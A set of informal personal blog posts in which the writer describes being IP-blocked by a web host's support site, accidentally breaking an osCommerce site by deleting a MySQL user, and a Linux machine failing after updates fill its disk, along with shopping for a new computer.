on the recommendation of st. ian, i’m going to reformat and reinstall the old computer with hardy, and i’m going to wipe and reinstall my old, os9 mac, and trade them on craigslist for a musical instrument or two. the fun part is that the advert is going to read something along the lines of “i have this computer and that computer and they’re both functional and have this software on them, you have a musical instrument or two that you don’t want or can’t play or for which you no longer have any use. email me and we’ll work something out”. basically i’ll let the customer determine what they think a PC and an old mac are worth, and then trade me for musical instrument(s) that are approximately worth the same. the bonus is that i get rid of the computers and i get a new addition to my menagerie, and i potentially get a new helpdesk customer as well… 🙂

so…

i actually was IP blocked from cshelpdesk dot net!

in spite of the fact that [email protected] (who is undoubtedly nathan oulman, or one of his minions) said “we dont block anyone from anything” (his exact words), according to tech support goon “Zac O.”, “Your IP was blocked by the servers firewall. This has been unblocked and you can now access the server again.” apparently their server is set to block the IP address of a customer attempting to log in “incorrectly” (whatever that means, nobody has told me yet). it’s very definitely not an using an incorrect username or password, because i allow the browser to remember all of that stuff because i know how clumsy my fingers are, but nobody has seen fit to tell me what it is, other than “incorrect login attempts”.

not only that, but i’ve had to reprimand the tech support goon no less than three times this morning, for closing my issue without answering my question. the little weasel is not going to get out of this without giving me some answers. 8/

at this point, it’s not anywhere near as bad as it was yesterday, but still, i’m thinking very strongly about switching host providers again when my contract expires.

OY… 8/

more computer miserableness abounds… 😛

as of yesterday, i was going back and forth with tech support about that random mysql user that i found a couple of days ago. i had just found the solution when the tech support goon abruptly terminated the email conversation, and when i tried to refresh the page, it timed out, and has been timing out when i try to access cshelpdesk dot net from my network ever since.

however, today, i discovered that not only does everybody else actually get the hybridelephant dot com site, but they can also access cshelpdesk dot net without timing out. in fact, if i try to access either site using the neighbour’s wireless network (hooray for unsecured wireless home networking!) i can get to them without difficulty, which makes me think “IP block”.

what makes me think “IP block” even more is the fact that while i was searching around for more information about cshelpdesk (which has email address contacts, but not a telephone number anywhere that i can see), i came across this blog entry from flatsurface dot com, which is a stunning review of nathan oulman, the apparent owner of anrhost.com (my host provider), dailydns.com (my host service) and cshelpdesk.com (tech support for the previous domains). the part where he says that stuff about “[t]he second time they caused a significant outage for my domains, I bitched. Their response? Block my IP from the support site, and later they simply disabled my prepaid account, in violation of our contract.” struck a very familar, and somewhat ominous chord.

and apparently it’s a very specific IP block, because it prevents me from seeing the database at Hybrid Elephant and all of cshelpdesk dot net, but it does not block me from seeing The Church of Tina Chopp or Cirque De Flambé, or any of my other domains, or even this site… this does not bode well, and i get the very distinct impression that i’m going to have to switch host providers again, as well as replacing my linux box…

which, by the way, i was out pricing computers today in order to facilitate. i discovered that if i want to buy a computer from frye’s (or just about any “computer store” like that), basically, i have to buy a computer with windoesn’t pre-installed (from the factory, so i can’t “leave it out” for a reduced price, but they’re not strictly “legal” versions of windoesn’t, because they don’t come with install disks or any way of creating them). for a windows-pre-installed complete system (CPU, monitor, keyboard, mouse) i would end up having to pay $500 to $700, which is sort of what i expected. they have “bare bones” systems that don’t come with windows, but they also don’t come with memory, or a hard disk, or KVM (keyboard, video, mouse), and they’re $200 to $500, or i can buy a “boot only” box from Re-PC for around $100 that needs a KVM and some other stuff, but because of the fact that the “boot only” box is used, there’s no guarantee that it’s going to work as long as a new box would. the final option is that i can “build your own” box that uses essentially the same components as the $500 system for about $100 to $200, but that would mean finding a system that i like, researching the components and purchasing them separately, and then putting it all together.

which i can do, but, ultimately, i would rather not do it. as i told the guy at frye’s, i’m not so much interested in building a new machine as much as i am in obtaining a new machine and using it.

every now and then i have to wonder why computers are so complicated… then i remember that at least part of the reason is that they are created by the most infuriatingly dense creatures on the planet, and they are very much like their creators – although somewhat more predictable.

which is why, i suppose, i am more at home with computers than i am with most people. 😐

err… umm… oh.

i had some sort of computer interruption last night that prevented me from figuring out this whole user 123 phenomena – apparently the server got hacked last night, but they TOSed the cracker and went to good backups within 15 minutes of my complaining, which is something… i’m not exactly sure what yet, but it’s something.

however, apparently the mysql user 123 that i deleted yesterday was important for running my oscommerce installation… which worries me enough that i’m going to figure out where it’s configured and change it to something else, because, first of all, having a default user 123 is enough of a security risk, and second, there’s a good chance that i’ll forget that user 123 is important, whereas if i see a user “ekadant” (for example) i’ll realise that it’s important and not delete it without figuring out what it is.

oy!

i was poking around (yeah, i know, bad idea… 8/ ) in the control panel for hybridelephant and i came across this thing that lists the mySQL databases and users of those databases that are on hybridelephant.com. it listed the two databases that i use, but it listed 2 users whereas i’ve set it up so that i use the same username and password for both databases… which i found a little suspicious.

furthermore, the other user was named “123” which i also found somewhat suspicious…

in any event, i was doing something else, so i deleted the user account “123” and went on with doing something else.

bad move.

now, if you go to hybridelephant dot com, instead of seeing the site, you get this error message:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user ‘hybridel_123’@’localhost’ (using password: YES) in /home/hybridel/public_html/includes/functions/database.php on line 19
Unable to connect to database server!

i recreated the user. no luck.
i recreated the user with the password that was indicated on line 19 of /home/hybridel/public_html/includes/functions/database.php. no luck.
i reloaded the database from the backup i made 2 weeks ago. no luck.

it’s well and truly broke, and i done broked it. 😐

oy…

so i started up my linux box this morning and it told me that there were some system updates that i had to download, so i downloaded them and then it said that in order to use those system updates that my computer had to be restarted, so i shut everything down and rebooted…

and when it came back up, it didn’t work!

it put up the login screen, like normal, and it accepted my username and password, but then, instead of loading the desktop, it loaded what looked like a transparent graphic, only it was full screen, and a mouse cursor. no task bar, no menus… eventually a window popped up, associated with the HP printer, that said there was no systray, so whatever application it was associated with was no longer trying to start. i clicked OK – which was the only thing i could do – and it went away.

so, i hit Alt+F1 and logged in to the text interface, which it allowed me to do, and typed sudo shutdown -r now and it rebooted again. this time, instead of the transparent graphic, it stayed with the login screen, but again, didn’t get beyond allowing me to login. this time, when i hit Alt+F1 and logged in, it said that the system was using 95% of 5.9G, and the /tmp directory was using 100% of 1G, the total of which, if i’m not mistaken, is slightly more than my 6G system disk.

fortunately, my /home directory and my /music directory are on a separate, 200G disk. apparently my OS is bigger than my HD, which, technically (i suppose) means that if i got a new, bigger HD, everything would be copascetic. once again, the battle of the computer has raised its ugly head…

i was just discussing this probability with moe the other day, because of the wonkish behaviour of my monitor, and i pretty much decided that i’m going to go out and buy a new computer system at that time. it’s a good thing i decided it then, because now i’m absolutely certain that that’s what i’m going to do.

it’s going to be a desktop computer with at least a 200G hard disk, and an LCD monitor, and it will not be a computer with windoesn’t preloaded. i don’t know exactly what price i’m willing to pay, but $500 to $700 doesn’t seem too out of the question.